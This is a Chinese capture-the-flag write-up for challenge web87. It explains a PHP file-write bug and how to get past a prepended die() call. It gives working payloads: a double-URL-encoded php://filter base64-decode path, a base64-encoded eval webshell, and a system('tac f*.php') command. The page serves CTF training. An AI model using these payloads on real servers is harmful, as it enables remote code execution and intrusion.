web87笔记(增加urldecode()、die()绕过处理)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-16 21:57:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
1. urldecode($file) 功能:对 $file 变量进行 URL 解码。 urldecode():将 URL 编码的字符串解码为原始字符串。 $file:通常是通过用户输入或其他方式传递的文件路径。 作用:如果 $file 是 URL 编码的(例如 %2Fvar%2Fwww%2Ffile.php),则解码为原始路径(如 /var/www/file.php)。 2. "<?php die('大佬别秀了');?>" . $content 功能:拼接字符串。 "<?php die('大佬别秀了');?>":一段 PHP 代码,作用是立即终止脚本执行,并输出 大佬别秀了。 $content:另一个字符串变量,通常是通过用户输入或其他方式传递的内容。 拼接结果:将 <?php die('大佬别秀了');?> 和 $content 拼接成一个字符串。 3. file_put_contents() 功能:将字符串写入文件。 file_put_contents($file, $data):将 $data 写入 $file 文件中。 如果文件不存在,会创建文件。 如果文件已存在,会覆盖文件内容。 参数: $file:文件路径。 $data:要写入的内容。
分析源码,这题有两个传参,file和 content,然后将content参数的值写入到file参数所定义的文件里,但是一同写入的还有,在开头增加了die的过程,导致即使我们成功写入一句话,也执行不了,我们所要做的就是绕过die
这里放上p神的
谈一谈php://filter的妙用 https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#_1
p神文章已经讲得很清楚了,base64算法解码时是4个byte一组, 而phpdie共6个字符,所以我们解码的时候需要再添加两个字符
urldecode函数:url解码函数,用于将经过URL编码的字符串转换回其原始格式
die函数:终止程序
base64编码:base64编码的范围为0~9,a~z,A~Z,+,/ 其他的字符全部过滤,故本题可以使用base64编码进行绕过die函数
注意:base64编码必须为4的倍数,由于base64编码范围的原因<?php die('大佬别秀了');?>会被过滤为phpdie为6个,需要加上任意2个在base64范围内的字符即可
源码中有2个参数,分别是GET传参的file与POST方式传参
POST传参:变量content与die函数用点相连接可以使用base64编码进行绕过,以防终止程序
GET传参:file有urldecode函数(url解码函数),故需要将file进行2次url编码
做题方法: 使用php://filter/writer协议
做题步骤: 构造GET传参的payload:?file=php://filter/write=convert.base64-decode/resource=0314.php 并且使用bp进行两次url编码
原payload:?file=php://filter/write=convert.base64-decode/resource=0314.php
2、双重加密后的payload:?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%30%25%33%33%25%33%31%25%33%34%25%32%65%25%37%30%25%36%38%25%37%30
构造POST的payload并base64加密,且在加密后前面加2个任意在base64范围内的字符
content=<?php @eval($_POST[y]);?>
content=PD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==
content=aaPD9waHAgQGV2YWwoJF9QT1NUW3ldKTs/Pg==

3、访问0314.php,并且使用post进行传参,因为上面的post传的参数是y,所以post的payload是:y=system('tac f*.php'); 即可拿到flag

浙公网安备 33010602011771号